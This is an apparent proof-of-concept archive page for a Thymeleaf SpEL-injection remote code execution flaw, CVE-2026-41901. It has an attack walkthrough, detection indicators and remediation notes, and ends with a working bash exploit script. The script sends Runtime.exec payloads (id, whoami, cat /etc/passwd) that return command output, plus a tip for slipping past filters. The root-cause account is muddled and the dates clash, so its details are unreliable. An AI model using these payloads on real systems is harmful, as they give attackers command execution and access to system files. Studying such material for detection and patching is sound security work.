PoC Archive PoC Archive
Critical CVE-2026-41901 unpatched

Thymeleaf SpEL Injection Remote Code Execution (CVE-2026-41901)

by HORKimhab · 2026-07-05

Severity
Critical
CVE
CVE-2026-41901
Category
web
Affected product
Spring Boot application using Thymeleaf template engine
Affected versions
Thymeleaf 3.1.4.RELEASE (as configured in the reproduction lab)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherHORKimhab
CVE / AdvisoryCVE-2026-41901
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsthymeleaf, spel-injection, ssti, spring-boot, rce, java, template-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemSpring Boot application using Thymeleaf template engine
Versions AffectedThymeleaf 3.1.4.RELEASE (as configured in the reproduction lab)
Language / PlatformJava/Spring Boot target, bash/curl PoC
Authentication RequiredNo
Network Access RequiredYes

Summary

The PoC reproduces a Spring Expression Language (SpEL) injection in a Thymeleaf-rendered template where user-controlled input is reflected into a template expression context without sanitization. By submitting a crafted SpEL payload such as [[${T(java.lang.Runtime).getRuntime().exec("id")}]] as the input query parameter, an attacker can get the Thymeleaf engine to evaluate the expression and invoke arbitrary Java classes, including java.lang.Runtime, achieving remote command execution on the server. The included lab setup script builds a minimal vulnerable Spring Boot/Thymeleaf application in Docker, and the exploit script sends a battery of SpEL payloads to demonstrate command execution and output capture via java.util.Scanner.


Vulnerability Details

Root Cause

The vulnerable controller passes attacker-controlled input directly into a Thymeleaf template attribute (th:text="${userInput}" and inline expressions), and the template additionally contains a SpEL expression that invokes T(java.lang.Runtime).getRuntime().exec(...), allowing arbitrary command execution when the expression is evaluated with attacker input.

Attack Vector

  1. Attacker identifies a Thymeleaf-rendered endpoint (e.g. /poc?input=...) that reflects user input into the template context.
  2. Attacker submits a SpEL payload such as [[${T(java.util.Scanner).new(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\A").next()}]] via the input parameter.
  3. Thymeleaf evaluates the SpEL expression server-side, invoking Runtime.exec() with the attacker-supplied command.
  4. The command’s output is captured via java.util.Scanner and reflected back in the HTTP response, giving the attacker semi-interactive command execution and output retrieval.

Impact

Full remote code execution on the Spring Boot server as the application’s runtime user, with the ability to read arbitrary files and execute arbitrary OS commands.


Environment / Lab Setup

Target:   Spring Boot 3.2.0 app with Thymeleaf 3.1.4.RELEASE, packaged in Docker (thymeleaf-rce container, port 8080)
Attacker: bash, curl, Docker (to build/run the vulnerable lab)

Proof of Concept

PoC Script

See setup-lab.sh and exploit-cve-2026-41901.sh in this folder.

1
bash setup-lab.sh && bash exploit-cve-2026-41901.sh

setup-lab.sh scaffolds and builds a minimal vulnerable Spring Boot/Thymeleaf application in Docker and exposes it on port 8080. exploit-cve-2026-41901.sh then sends a series of SpEL injection payloads (id, whoami, hostname, ls /tmp, cat /etc/passwd) to the /poc endpoint and prints any command output reflected in the response.


Detection & Indicators of Compromise

Signs of compromise:

  • Web server or WAF logs showing T(java.lang.Runtime), ProcessBuilder, or [[${...}]] sequences in request parameters
  • Unexpected child processes spawned by the Java/Spring Boot process
  • Command output (e.g. /etc/passwd contents, id/whoami output) appearing in HTTP responses

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — do not reflect unsanitized user input into Thymeleaf expression contexts; avoid th:text/inline expressions over raw user input
Interim mitigationDisable SpEL expression evaluation on untrusted input paths, apply strict input validation/allow-listing, and run the application with a restricted user and no shell/process-execution capability

References


Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-41901 on 2026-07-05.

exploit-cve-2026-41901.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
# CVE-2026-41901 RCE Exploit with Output

TARGET="http://localhost:8080/poc"

echo "[+] Starting CVE-2026-41901 Remote Execution Test"
echo ""

COMMANDS=("id" "whoami" "hostname" "ls /tmp" "cat /etc/passwd | head -5")

for cmd in "${COMMANDS[@]}"; do
    echo "[*] Executing: $cmd"
    
    # Payload that tries to return output
    PAYLOAD="[[${T(java.util.Scanner).new(T(java.lang.Runtime).getRuntime().exec(\"$cmd\").getInputStream()).useDelimiter(\"\\A\").next()}]]"
    
    RESPONSE=$(curl -s -G "$TARGET" --data-urlencode "input=$PAYLOAD")
    echo "$RESPONSE" | grep -E "(uid|root|www|linux|tmp)" || echo "   → Output may be blind or blocked"
    echo "--------------------------------------------------"
done

echo ""
echo "Tips:"
echo "• Try tab bypass: new[	]java.lang.ProcessBuilder..."
echo "• Check container logs: docker logs thymeleaf-rce"